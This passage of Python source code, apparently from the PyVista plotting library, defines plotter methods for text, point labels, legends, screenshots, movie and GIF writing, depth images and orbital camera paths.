self.mapper # title can be the first and only arg if len(args): title = args[0] else: title = kwargs.get('title', '') if title is None: title = '' kwargs['title'] = title interactive = kwargs.get('interactive', None) if interactive is None: interactive = self._theme.interactive if self.shape != (1, 1): interactive = False elif interactive and self.shape != (1, 1): raise ValueError('Interactive scalar bars disabled for multi-renderer plots') # by default, use the plotter local theme kwargs.setdefault('theme', self._theme) return self.scalar_bars.add_scalar_bar(**kwargs) def update_scalars(self, scalars, mesh=None, render=True): """Update scalars of an object in the plotter. Parameters ---------- scalars : np.ndarray Scalars to replace existing scalars. mesh : vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. If None, uses last added mesh. render : bool, optional Force a render when True. Default ``True``. """ if mesh is None: mesh = self.mesh if isinstance(mesh, (collections.abc.Iterable, pyvista.MultiBlock)): # Recursive if need to update scalars on many meshes for m in mesh: self.update_scalars(scalars, mesh=m, render=False) if render: self.render() return if isinstance(scalars, str): # Grab scalars array if name given scalars = get_array(mesh, scalars) if scalars is None: if render: self.render() return if scalars.shape[0] == mesh.GetNumberOfPoints(): data = mesh.GetPointData() elif scalars.shape[0] == mesh.GetNumberOfCells(): data = mesh.GetCellData() else: raise_not_matching(scalars, mesh) vtk_scalars = data.GetScalars() if vtk_scalars is None: raise ValueError('No active scalars') s = convert_array(vtk_scalars) s[:] = scalars data.Modified() try: # Why are the points updated here? Not all datasets have points # and only the scalars array is modified by this function... mesh.GetPoints().Modified() except: pass if render: self.render() def update_coordinates(self, points, mesh=None, render=True): """Update the points of an object in the plotter. Parameters ---------- points : np.ndarray Points to replace existing points. mesh : vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. If None, uses last added mesh. render : bool, optional Force a render when True. Default ``True``. """ if mesh is None: mesh = self.mesh mesh.points = points # only render when the plotter has already been shown if render is None: render = not self._first_time if render: self.render() def _clear_ren_win(self): """Clear the render window.""" if hasattr(self, 'ren_win'): self.ren_win.Finalize() del self.ren_win def close(self, render=False): """Close the render window. Parameters ---------- render : bool Unused argument. """ # optionally run just prior to exiting the plotter if self._before_close_callback is not None: self._before_close_callback(self) self._before_close_callback = None # must close out widgets first super().close() # Renderer has an axes widget, so close it self.renderers.close() self.renderers.remove_all_lights() # Grab screenshots of last render if self._store_image: self.last_image = self.screenshot(None, return_img=True) self.last_image_depth = self.get_image_depth() # reset scalar bars self.clear() # grab the display id before clearing the window # this is an experimental feature if KILL_DISPLAY: # pragma: no cover disp_id = None if hasattr(self, 'ren_win'): disp_id = self.ren_win.GetGenericDisplayId() self._clear_ren_win() if self.iren is not None: self.iren.remove_observers() self.iren.terminate_app() if KILL_DISPLAY: # pragma: no cover _kill_display(disp_id) self.iren = None if hasattr(self, 'textActor'): del self.textActor # end movie if hasattr(self, 'mwriter'): try: self.mwriter.close() except BaseException: pass # this helps managing closed plotters self._closed = True def deep_clean(self): """Clean the plotter of the memory.""" if hasattr(self, 'renderers'): self.renderers.deep_clean() if getattr(self, 'mesh', None) is not None: self.mesh.point_data = None self.mesh.cell_data = None self.mesh = None if getattr(self, 'mapper', None) is not None: self.mapper.lookup_table = None self.mapper = None self.volume = None self.textactor = None def add_text(self, text, position='upper_left', font_size=18, color=None, font=None, shadow=False, name=None, viewport=False): """Add text to plot object in the top left corner by default. Parameters ---------- text : str The text to add the rendering. position : str, tuple(float), optional Position to place the bottom left corner of the text box. If tuple is used, the position of the text uses the pixel coordinate system (default). In this case, it returns a more general `vtkOpenGLTextActor`. If string name is used, it returns a `vtkCornerAnnotation` object normally used for fixed labels (like title or xlabel). Default is to find the top left corner of the rendering window and place text box up there. Available position: ``'lower_left'``, ``'lower_right'``, ``'upper_left'``, ``'upper_right'``, ``'lower_edge'``, ``'upper_edge'``, ``'right_edge'``, and ``'left_edge'``. font_size : float, optional Sets the size of the title font. Defaults to 18. color : str or sequence, optional Either a string, RGB list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` Defaults to :attr:`pyvista.global_theme.font.color <pyvista.themes._Font.color>`. font : str, optional Font name may be ``'courier'``, ``'times'``, or ``'arial'``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. viewport : bool, optional If ``True`` and position is a tuple of float, uses the normalized viewport coordinate system (values between 0.0 and 1.0 and support for HiDPI). Returns ------- vtk.vtkTextActor Text actor added to plot. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> actor = pl.add_text('Sample Text', position='upper_right', color='blue', ... shadow=True, font_size=26) >>> pl.show() """ if font is None: font = self._theme.font.family if font_size is None: font_size = self._theme.font.size if color is None: color = self._theme.font.color if position is None: # Set the position of the text to the top left corner window_size = self.window_size x = (window_size[0] * 0.02) / self.shape[0] y = (window_size[1] * 0.85) / self.shape[0] position = [x, y] corner_mappings = { 'lower_left': _vtk.vtkCornerAnnotation.LowerLeft, 'lower_right': _vtk.vtkCornerAnnotation.LowerRight, 'upper_left': _vtk.vtkCornerAnnotation.UpperLeft, 'upper_right': _vtk.vtkCornerAnnotation.UpperRight, 'lower_edge': _vtk.vtkCornerAnnotation.LowerEdge, 'upper_edge': _vtk.vtkCornerAnnotation.UpperEdge, 'left_edge': _vtk.vtkCornerAnnotation.LeftEdge, 'right_edge': _vtk.vtkCornerAnnotation.RightEdge, } corner_mappings['ll'] = corner_mappings['lower_left'] corner_mappings['lr'] = corner_mappings['lower_right'] corner_mappings['ul'] = corner_mappings['upper_left'] corner_mappings['ur'] = corner_mappings['upper_right'] corner_mappings['top'] = corner_mappings['upper_edge'] corner_mappings['bottom'] = corner_mappings['lower_edge'] corner_mappings['right'] = corner_mappings['right_edge'] corner_mappings['r'] = corner_mappings['right_edge'] corner_mappings['left'] = corner_mappings['left_edge'] corner_mappings['l'] = corner_mappings['left_edge'] if isinstance(position, (int, str, bool)): if isinstance(position, str): position = corner_mappings[position] elif position is True: position = corner_mappings['upper_left'] self.textActor = _vtk.vtkCornerAnnotation() # This is how you set the font size with this actor self.textActor.SetLinearFontScaleFactor(font_size // 2) self.textActor.SetText(position, text) else: self.textActor = _vtk.vtkTextActor() self.textActor.SetInput(text) self.textActor.SetPosition(position) if viewport: self.textActor.GetActualPositionCoordinate().SetCoordinateSystemToNormalizedViewport() self.textActor.GetActualPosition2Coordinate().SetCoordinateSystemToNormalizedViewport() self.textActor.GetTextProperty().SetFontSize(int(font_size * 2)) self.textActor.GetTextProperty().SetColor(parse_color(color)) self.textActor.GetTextProperty().SetFontFamily(FONTS[font].value) self.textActor.GetTextProperty().SetShadow(shadow) self.add_actor(self.textActor, reset_camera=False, name=name, pickable=False) return self.textActor def open_movie(self, filename, framerate=24, quality=5, **kwargs): """Establish a connection to the ffmpeg writer. Parameters ---------- filename : str Filename of the movie to open. Filename should end in mp4, but other filetypes may be supported. See ``imagio.get_writer``. framerate : int, optional Frames per second. quality : int, optional Quality 10 is the top possible quality for any codec. The range is ``0 - 10``. Higher quality leads to a larger file. **kwargs : dict, optional See the documentation for ``imageio.get_writer`` for additional kwargs. Notes ----- See the documentation for `imageio.get_writer <https://imageio.readthedocs.io/en/stable/userapi.html#imageio.get_writer>`_ Examples -------- Open a MP4 movie and set the quality to maximum. >>> import pyvista >>> pl = pyvista.Plotter >>> pl.open_movie('movie.mp4', quality=10) # doctest:+SKIP """ from imageio import get_writer if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self.mwriter = get_writer(filename, fps=framerate, quality=quality, **kwargs) def open_gif(self, filename): """Open a gif file. Parameters ---------- filename : str Filename of the gif to open. Filename must end in ``"gif"``. Examples -------- Open a gif file. >>> import pyvista >>> pl = pyvista.Plotter >>> pl.open_gif('movie.gif') # doctest:+SKIP """ from imageio import get_writer if filename[-3:] != 'gif': raise ValueError('Unsupported filetype. Must end in .gif') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self._gif_filename = os.path.abspath(filename) self.mwriter = get_writer(filename, mode='I') def write_frame(self): """Write a single frame to the movie file. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> plotter.open_movie(filename) # doctest:+SKIP >>> plotter.add_mesh(pyvista.Sphere()) # doctest:+SKIP >>> plotter.write_frame() # doctest:+SKIP See :ref:`movie_example` for a full example using this method. """ # if off screen, show has not been called and we must render # before extracting an image if self._first_time: self._on_first_render_request() self.render() if not hasattr(self, 'mwriter'): raise RuntimeError('This plotter has not opened a movie or GIF file.') self.update() self.mwriter.append_data(self.image) def _run_image_filter(self, ifilter): # Update filter and grab pixels ifilter.Modified() ifilter.Update() image = pyvista.wrap(ifilter.GetOutput()) img_size = image.dimensions img_array = pyvista.utilities.point_array(image, 'ImageScalars') # Reshape and write tgt_size = (img_size[1], img_size[0], -1) return img_array.reshape(tgt_size)[::-1] def get_image_depth(self, fill_value=np.nan, reset_camera_clipping_range=True): """Return a depth image representing current render window. Parameters ---------- fill_value : float, optional Fill value for points in image that do not include objects in scene. To not use a fill value, pass ``None``. reset_camera_clipping_range : bool, optional Reset the camera clipping range to include data in view. Returns ------- numpy.ndarray Image of depth values from camera orthogonal to image plane. Notes ----- Values in image_depth are negative to adhere to a right-handed coordinate system. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.store_image = True >>> plotter.show() >>> zval = plotter.get_image_depth() """ # allow no render window if not hasattr(self, 'ren_win') and self.last_image_depth is not None: zval = self.last_image_depth.copy() if fill_value is not None: zval[self._image_depth_null] = fill_value return zval self._check_rendered() self._check_has_ren_win() # Ensure points in view are within clipping range of renderer? if reset_camera_clipping_range: self.renderer.ResetCameraClippingRange() # Get the z-buffer image ifilter = _vtk.vtkWindowToImageFilter() ifilter.SetInput(self.ren_win) ifilter.ReadFrontBufferOff() ifilter.SetInputBufferTypeToZBuffer() zbuff = self._run_image_filter(ifilter)[:, :, 0] # Convert z-buffer values to depth from camera with warnings.catch_warnings(): warnings.filterwarnings('ignore') near, far = self.camera.clipping_range if self.camera.parallel_projection: zval = (zbuff - near) / (far - near) else: zval = 2 * near * far / ((zbuff - 0.5) * 2 * (far - near) - near - far) # Consider image values outside clipping range as nans self._image_depth_null = np.logical_or(zval < -far, np.isclose(zval, -far)) if fill_value is not None: zval[self._image_depth_null] = fill_value return zval def add_lines(self, lines, color=(1, 1, 1), width=5, label=None, name=None): """Add lines to the plotting object. Parameters ---------- lines : np.ndarray or pyvista.PolyData Points representing line segments. For example, two line segments would be represented as ``np.array([[0, 0, 0], [1, 0, 0], [1, 0, 0], [1, 1, 0]])``. color : str or sequence, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` width : float, optional Thickness of lines. label : str, optional String label to use when adding a legend to the scene with :func:`pyvista.BasePlotter.add_legend`. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. Returns ------- vtk.vtkActor Lines actor. Examples -------- >>> import numpy as np >>> import pyvista >>> pl = pyvista.Plotter() >>> points = np.array([[0, 1, 0], [1, 0, 0], [1, 1, 0], [2, 0, 0]]) >>> actor = pl.add_lines(points, color='yellow', width=3) >>> pl.camera_position = 'xy' >>> pl.show() """ if not isinstance(lines, np.ndarray): raise TypeError('Input should be an array of point segments') lines = pyvista.lines_from_points(lines) # Create mapper and add lines mapper = _vtk.vtkDataSetMapper() mapper.SetInputData(lines) rgb_color = parse_color(color) # legend label if label: if not isinstance(label, str): raise TypeError('Label must be a string') self._labels.append([lines, label, rgb_color]) # Create actor actor = _vtk.vtkActor() actor.SetMapper(mapper) actor.GetProperty().SetLineWidth(width) actor.GetProperty().EdgeVisibilityOn() actor.GetProperty().SetEdgeColor(rgb_color) actor.GetProperty().SetColor(rgb_color) actor.GetProperty().LightingOff() # Add to renderer self.add_actor(actor, reset_camera=False, name=name, pickable=False) return actor @wraps(ScalarBars.remove_scalar_bar) def remove_scalar_bar(self, *args, **kwargs): """Remove the active scalar bar.""" self.scalar_bars.remove_scalar_bar(*args, **kwargs) def add_point_labels(self, points, labels, italic=False, bold=True, font_size=None, text_color=None, font_family=None, shadow=False, show_points=True, point_color=None, point_size=5, name=None, shape_color='grey', shape='rounded_rect', fill_shape=True, margin=3, shape_opacity=1.0, pickable=False, render_points_as_spheres=False, tolerance=0.001, reset_camera=None, always_visible=False, render=True): """Create a point actor with one label from list labels assigned to each point. Parameters ---------- points : sequence or pyvista.DataSet An ``n x 3`` sequence points or pyvista dataset with points. labels : list or str List of labels. Must be the same length as points. If a string name is given with a :class:`pyvista.DataSet` input for points, then these are fetched. italic : bool, optional Italicises title and bar labels. Default ``False``. bold : bool, optional Bolds title and bar labels. Default ``True``. font_size : float, optional Sets the size of the title font. Defaults to 16. text_color : str or 3 item list, optional Color of text. Either a string, RGB sequence, or hex color string. * ``text_color='white'`` * ``text_color='w'`` * ``text_color=[1, 1, 1]`` * ``text_color='#FFFFFF'`` font_family : str, optional Font family. Must be either ``'courier'``, ``'times'``, or ``'arial``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. show_points : bool, optional Controls if points are visible. Default ``True``. point_color : str or sequence, optional Either a string, rgb list, or hex color string. One of the following. * ``point_color='white'`` * ``point_color='w'`` * ``point_color=[1, 1, 1]`` * ``point_color='#FFFFFF'`` point_size : float, optional Size of points if visible. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. shape_color : str or sequence, optional Color of points (if visible). Either a string, rgb sequence, or hex color string. shape : str, optional The string name of the shape to use. Options are ``'rect'`` or ``'rounded_rect'``. If you want no shape, pass ``None``. fill_shape : bool, optional Fill the shape with the ``shape_color``. Outlines if ``False``. margin : int, optional The size of the margin on the label background shape. Default is 3. shape_opacity : float, optional The opacity of the shape in the range of ``[0, 1]``. pickable : bool, optional Set whether this actor is pickable. render_points_as_spheres : bool, optional Render points as spheres rather than dots. tolerance : float, optional A tolerance to use to determine whether a point label is visible. A tolerance is usually required because the conversion from world space to display space during rendering introduces numerical round-off. reset_camera : bool, optional Reset the camera after adding the points to the scene. always_visible : bool, optional Skip adding the visibility filter. Default False. render : bool, optional Force a render when ``True`` (default). Returns ------- vtk.vtkActor2D VTK label actor. Can be used to change properties of the labels. Examples -------- >>> import numpy as np >>> import pyvista >>> pl = pyvista.Plotter() >>> points = np.array([[0, 0, 0], ... [1, 1, 0], ... [2, 0, 0]]) >>> labels = ['Point A', 'Point B', 'Point C'] >>> actor = pl.add_point_labels(points, labels, italic=True, font_size=20, ... point_color='red', point_size=20, render_points_as_spheres=True, ... always_visible=True, shadow=True) >>> pl.camera_position = 'xy' >>> pl.show() """ if font_family is None: font_family = self._theme.font.family if font_size is None: font_size = self._theme.font.size if point_color is None: point_color = self._theme.color if text_color is None: text_color = self._theme.font.color if isinstance(points, (list, tuple)): points = np.array(points) if isinstance(points, np.ndarray): vtkpoints = pyvista.PolyData(points) # Cast to poly data elif is_pyvista_dataset(points): vtkpoints = pyvista.PolyData(points.points) if isinstance(labels, str): labels = points.point_data[labels] else: raise TypeError(f'Points type not usable: {type(points)}') if len(vtkpoints.points) != len(labels): raise ValueError('There must be one label for each point') if name is None: name = f'{type(vtkpoints).__name__}({vtkpoints.memory_address})' vtklabels = _vtk.vtkStringArray() vtklabels.SetName('labels') for item in labels: vtklabels.InsertNextValue(str(item)) vtkpoints.GetPointData().AddArray(vtklabels) # Create hierarchy hier = _vtk.vtkPointSetToLabelHierarchy() hier.SetLabelArrayName('labels') if always_visible: hier.SetInputData(vtkpoints) else: # Only show visible points vis_points = _vtk.vtkSelectVisiblePoints() vis_points.SetInputData(vtkpoints) vis_points.SetRenderer(self.renderer) vis_points.SetTolerance(tolerance) hier.SetInputConnection(vis_points.GetOutputPort()) # create label mapper labelMapper = _vtk.vtkLabelPlacementMapper() labelMapper.SetInputConnection(hier.GetOutputPort()) if not isinstance(shape, str): labelMapper.SetShapeToNone() elif shape.lower() in 'rect': labelMapper.SetShapeToRect() elif shape.lower() in 'rounded_rect': labelMapper.SetShapeToRoundedRect() else: raise ValueError(f'Shape ({shape}) not understood') if fill_shape: labelMapper.SetStyleToFilled() else: labelMapper.SetStyleToOutline() labelMapper.SetBackgroundColor(parse_color(shape_color)) labelMapper.SetBackgroundOpacity(shape_opacity) labelMapper.SetMargin(margin) textprop = hier.GetTextProperty() textprop.SetItalic(italic) textprop.SetBold(bold) textprop.SetFontSize(font_size) textprop.SetFontFamily(parse_font_family(font_family)) textprop.SetColor(parse_color(text_color)) textprop.SetShadow(shadow) self.remove_actor(f'{name}-points', reset_camera=False) self.remove_actor(f'{name}-labels', reset_camera=False) # add points if show_points: self.add_mesh(vtkpoints, color=point_color, point_size=point_size, name=f'{name}-points', pickable=pickable, render_points_as_spheres=render_points_as_spheres, reset_camera=reset_camera, render=render) label_actor = _vtk.vtkActor2D() label_actor.SetMapper(labelMapper) self.add_actor(label_actor, reset_camera=False, name=f'{name}-labels', pickable=False) return label_actor def add_point_scalar_labels(self, points, labels, fmt=None, preamble='', **kwargs): """Label the points from a dataset with the values of their scalars. Wrapper for :func:`pyvista.BasePlotter.add_point_labels`. Parameters ---------- points : numpy.ndarray or pyvista.DataSet An ``n x 3`` numpy.ndarray or pyvista dataset with points. labels : str, optional String name of the point data array to use. fmt : str, optional String formatter used to format numerical data. preamble : str, optional Text before the start of each label. **kwargs : dict, optional Keyword arguments passed to :func:`pyvista.BasePlotter.add_point_labels`. Returns ------- vtk.vtkActor2D VTK label actor. Can be used to change properties of the labels. """ if not is_pyvista_dataset(points): raise TypeError(f'input points must be a pyvista dataset, not: {type(points)}') if not isinstance(labels, str): raise TypeError('labels must be a string name of the scalars array to use') if fmt is None: fmt = self._theme.font.fmt if fmt is None: fmt = '%.6e' scalars = points.point_data[labels] phrase = f'{preamble} %.3e' labels = [phrase % val for val in scalars] return self.add_point_labels(points, labels, **kwargs) def add_points(self, points, **kwargs): """Add points to a mesh. Parameters ---------- points : numpy.ndarray or pyvista.DataSet Array of points or the points from a pyvista object. **kwargs : dict, optional See :func:`pyvista.BasePlotter.add_mesh` for optional keyword arguments. Returns ------- vtk.vtkActor Actor of the mesh. Examples -------- Add a numpy array of points to a mesh. >>> import numpy as np >>> import pyvista >>> points = np.random.random((10, 3)) >>> pl = pyvista.Plotter() >>> actor = pl.add_points(points, render_points_as_spheres=True, ... point_size=100.0) >>> pl.show() """ kwargs['style'] = 'points' return self.add_mesh(points, **kwargs) def add_arrows(self, cent, direction, mag=1, **kwargs): """Add arrows to the plotter. Parameters ---------- cent : np.ndarray Array of centers. direction : np.ndarray Array of direction vectors. mag : float, optional Amount to scale the direction vectors. **kwargs : dict, optional See :func:`pyvista.BasePlotter.add_mesh` for optional keyword arguments. Returns ------- vtk.vtkActor VTK actor of the arrows. Examples -------- Plot a random field of vectors and save a screenshot of it. >>> import numpy as np >>> import pyvista >>> cent = np.random.random((10, 3)) >>> direction = np.random.random((10, 3)) >>> plotter = pyvista.Plotter() >>> _ = plotter.add_arrows(cent, direction, mag=2) >>> plotter.show() """ if cent.shape != direction.shape: # pragma: no cover raise ValueError('center and direction arrays must have the same shape') direction = direction.copy() if cent.ndim != 2: cent = cent.reshape((-1, 3)) if direction.ndim != 2: direction = direction.reshape((-1, 3)) if mag != 1: direction = direction*mag pdata = pyvista.vector_poly_data(cent, direction) # Create arrow object arrow = _vtk.vtkArrowSource() arrow.Update() glyph3D = _vtk.vtkGlyph3D() glyph3D.SetSourceData(arrow.GetOutput()) glyph3D.SetInputData(pdata) glyph3D.SetVectorModeToUseVector() glyph3D.Update() arrows = wrap(glyph3D.GetOutput()) return self.add_mesh(arrows, **kwargs) @staticmethod def _save_image(image, filename, return_img): """Save to file and/or return a NumPy image array. This is an internal helper. """ if not image.size: raise ValueError('Empty image. Have you run plot() first?') # write screenshot to file if requested if isinstance(filename, (str, pathlib.Path)): from PIL import Image filename = pathlib.Path(filename) if isinstance(pyvista.FIGURE_PATH, str) and not filename.is_absolute(): filename = pathlib.Path(os.path.join(pyvista.FIGURE_PATH, filename)) if not filename.suffix: filename = filename.with_suffix('.png') elif filename.suffix not in SUPPORTED_FORMATS: raise ValueError(f'Unsupported extension {filename.suffix}\n' + f'Must be one of the following: {SUPPORTED_FORMATS}') image_path = os.path.abspath(os.path.expanduser(str(filename))) Image.fromarray(image).save(image_path) # return image array if requested if return_img: return image def save_graphic(self, filename, title='PyVista Export', raster=True, painter=True): """Save a screenshot of the rendering window as a graphic file. This can be helpful for publication documents. The supported formats are: * ``'.svg'`` * ``'.eps'`` * ``'.ps'`` * ``'.pdf'`` * ``'.tex'`` Parameters ---------- filename : str Path to fsave the graphic file to. title : str, optional Title to use within the file properties. raster : bool, optional Attempt to write 3D properties as a raster image. painter : bool, optional Configure the exporter to expect a painter-ordered 2D rendering, that is, a rendering at a fixed depth where primitives are drawn from the bottom up. """ if not hasattr(self, 'ren_win'): raise AttributeError('This plotter is closed and unable to save a screenshot.') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) filename = os.path.abspath(os.path.expanduser(filename)) extension = pyvista.fileio.get_ext(filename) writer = _vtk.lazy_vtkGL2PSExporter() modes = { '.svg': writer.SetFileFormatToSVG, '.eps': writer.SetFileFormatToEPS, '.ps': writer.SetFileFormatToPS, '.pdf': writer.SetFileFormatToPDF, '.tex': writer.SetFileFormatToTeX, } if extension not in modes: raise ValueError(f"Extension ({extension}) is an invalid choice.\n\n" f"Valid options include: {", ".join(modes.keys())}") writer.CompressOff() writer.SetFilePrefix(filename.replace(extension, '')) writer.SetInput(self.ren_win) modes[extension]() writer.SetTitle(title) writer.SetWrite3DPropsAsRasterImage(raster) if painter: writer.UsePainterSettings() writer.Update() def screenshot(self, filename=None, transparent_background=None, return_img=True, window_size=None): """Take screenshot at current camera position. Parameters ---------- filename : str, optional Location to write image to. If ``None``, no image is written. transparent_background : bool, optional Whether to make the background transparent. The default is looked up on the plotter's theme. return_img : bool, optional If ``True`` (the default), a NumPy array of the image will be returned. window_size : 2-length tuple, optional Set the plotter's size to this ``(width, height)`` before taking the screenshot. Returns ------- numpy.ndarray Array containing pixel RGB and alpha. Sized: * [Window height x Window width x 3] if ``transparent_background`` is set to ``False``. * [Window height x Window width x 4] if ``transparent_background`` is set to ``True``. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> plotter = pyvista.Plotter(off_screen=True) >>> actor = plotter.add_mesh(sphere) >>> plotter.screenshot('screenshot.png') # doctest:+SKIP """ if window_size is not None: self.window_size = window_size # configure image filter if transparent_background is None: transparent_background = self._theme.transparent_background self.image_transparent_background = transparent_background # This if statement allows you to save screenshots of closed plotters # This is needed for the sphinx-gallery to work if not hasattr(self, 'ren_win'): # If plotter has been closed... # check if last_image exists if self.last_image is not None: # Save last image return self._save_image(self.last_image, filename, return_img) # Plotter hasn't been rendered or was improperly closed raise RuntimeError('This plotter is closed and unable to save a screenshot.') if self._first_time and not self.off_screen: raise RuntimeError("Nothing to screenshot - call .show first or " "use the off_screen argument") # if off screen, show has not been called and we must render # before extracting an image if self._first_time: self._on_first_render_request() self.render() return self._save_image(self.image, filename, return_img) def add_legend(self, labels=None, bcolor=(0.5, 0.5, 0.5), border=False, size=None, name=None, origin=None, face=None): """Add a legend to render window. Entries must be a list containing one string and color entry for each item. Parameters ---------- labels : list, optional When set to None, uses existing labels as specified by - :func:`add_mesh <BasePlotter.add_mesh>` - :func:`add_lines <BasePlotter.add_lines>` - :func:`add_points <BasePlotter.add_points>` List containing one entry for each item to be added to the legend. Each entry must contain two strings, [label, color], where label is the name of the item to add, and color is the color of the label to add. bcolor : list or str, optional Background color, either a three item 0 to 1 RGB color list, or a matplotlib color string (e.g. 'w' or 'white' for a white color). If None, legend background is disabled. border : bool, optional Controls if there will be a border around the legend. Default False. size : list, optional Two float list, each float between 0 and 1. For example [0.1, 0.1] would make the legend 10% the size of the entire figure window. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. origin : list, optional If used, specifies the x and y position of the lower left corner of the legend. face : str, optional Face shape of legend face. Accepted options: * ``'triangle'`` * ``'circle'`` * ``'rectangle'`` Default is ``'triangle'``. Returns ------- vtk.vtkLegendBoxActor Actor for the legend. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, label='My Mesh') >>> _ = plotter.add_mesh(othermesh, 'k', label='My Other Mesh') >>> _ = plotter.add_legend() >>> plotter.show() Alternative manual example >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> legend_entries = [] >>> legend_entries.append(['My Mesh', 'w']) >>> legend_entries.append(['My Other Mesh', 'k']) >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh) >>> _ = plotter.add_mesh(othermesh, 'k') >>> _ = plotter.add_legend(legend_entries) >>> plotter.show() """ self.legend = _vtk.vtkLegendBoxActor() if labels is None: # use existing labels if not self._labels: raise ValueError('No labels input.\n\n' 'Add labels to individual items when adding them to' 'the plotting object with the "label=" parameter. ' 'or enter them as the "labels" parameter.') self.legend.SetNumberOfEntries(len(self._labels)) for i, (vtk_object, text, color) in enumerate(self._labels): self.legend.SetEntry(i, vtk_object, text, parse_color(color)) else: self.legend.SetNumberOfEntries(len(labels)) if face is None or face == "triangle": legendface = pyvista.Triangle() elif face == "circle": legendface = pyvista.Circle() elif face == "rectangle": legendface = pyvista.Rectangle() else: raise ValueError(f'Invalid face "{face}". Must be one of the following:\n' '\t"triangle"\n' '\t"circle"\n' '\t"rectangle"\n') for i, (text, color) in enumerate(labels): self.legend.SetEntry(i, legendface, text, parse_color(color)) if origin is not None: if not isinstance(origin, Sequence) or len(origin) != 2: raise ValueError( '`origin` must be a list of length 2. Passed value is {}' .format(origin) ) self.legend.SetPosition(origin[0], origin[1]) if size is not None: if not isinstance(size, Sequence) or len(size) != 2: raise ValueError( '`size` must be a list of length 2. Passed value is {}' .format(size) ) self.legend.SetPosition2(size[0], size[1]) if bcolor is None: self.legend.UseBackgroundOff() else: self.legend.UseBackgroundOn() self.legend.SetBackgroundColor(bcolor) if border: self.legend.BorderOn() else: self.legend.BorderOff() # Add to renderer self.add_actor(self.legend, reset_camera=False, name=name, pickable=False) return self.legend @wraps(Renderers.set_background) def set_background(self, *args, **kwargs): """Wrap ``Renderers.set_background``.""" self.renderers.set_background(*args, **kwargs) def remove_legend(self): """Remove the legend actor.""" if hasattr(self, 'legend'): self.remove_actor(self.legend, reset_camera=False) self.render() def generate_orbital_path(self, factor=3., n_points=20, viewup=None, shift=0.0): """Generate an orbital path around the data scene. Parameters ---------- factor : float, optional A scaling factor when building the orbital extent. n_points : int, optional Number of points on the orbital path. viewup : list(float), optional The normal to the orbital plane. shift : float, optional Shift the plane up/down from the center of the scene by this amount. Returns ------- pyvista.PolyData PolyData containing the orbital path. Examples -------- Generate an orbital path around a sphere. >>> import pyvista >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(pyvista.Sphere()) >>> viewup = [0, 0, 1] >>> orbit = plotter.generate_orbital_path(factor=2.0, n_points=50, ... shift=0.0, viewup=viewup) See :ref:`orbiting_example` for a full example using this method. """ if viewup is None: viewup = self._theme.camera['viewup'] center = np.array(self.center) bnds = np.array(self.bounds) radius = (bnds[1] - bnds[0]) * factor y = (bnds[3] - bnds[2]) * factor if y > radius: radius = y center += np.array(viewup) * shift return pyvista.Polygon(center=center, radius=radius, normal=viewup, n_sides=n_points) def fly_to(self, point): """Move the current camera's focal point to a position point. The movement is animated over the number of frames specified in NumberOfFlyFrames. The LOD desired frame rate is used. Parameters ---------- point : sequence Point to fly to in the form of ``(x, y, z)``. """ self.iren.fly_to(self.renderer, point) def orbit_on_path(self, path=None, focus=None, step=0.5, viewup=None, write_frames=False, threaded=False, progress_bar=False): """Orbit on the given path focusing on the focus point. Parameters ---------- path : pyvista.PolyData Path of orbital points. The order in the points is the order of travel. focus : list(float) of length 3, optional The point of focus the camera. step : float, optional The timestep between flying to each camera position. viewup : list(float), optional The normal to the orbital plane. write_frames : bool, optional Assume a file is open and write a frame on each camera view during the orbit. threaded : bool, optional Run this as a background thread. Generally used within a GUI (i.e. PyQt). progress_bar : bool, optional Show the progress bar when proceeding through the path. This can be helpful to show progress when generating movies with ``off_screen=True``. Examples -------- Plot an orbit around the earth. Save the gif as a temporary file. >>> import tempfile >>> import os >>> import pyvista >>> filename = os.path.join(tempfile._get_default_tempdir(), ... next(tempfile._get_candidate_names()) + '.gif') >>> from pyvista import examples >>> plotter = pyvista.Plotter(window_size=[300, 300]) >>> _ = plotter.add_mesh(examples.load_globe(), smooth_shading=True) >>> plotter.open_gif(filename) >>> viewup = [0, 0, 1] >>> orbit = plotter.generate_orbital_path(factor=2.0, n_points=24, ... shift=0.0, viewup=viewup) >>> plotter.orbit_on_path(orbit, write_frames=True, viewup=viewup, ... step=0.02) See :ref:`orbiting_example` for a full example using this method. """ if focus is None: focus = self.center if viewup is None: viewup = self._theme.camera['viewup'] if path is None: path = self.generate_orbital_path(viewup=viewup) if not is_pyvista_dataset(path): path = pyvista.PolyData(path) points = path.points # Make sure the whole scene is visible self.camera.thickness = path.length if progress_bar: try: # pragma: no cover from tqdm import tqdm except ImportError: raise ImportError("Please install `tqdm` to use ``progress_bar=True``") def orbit(): """Define 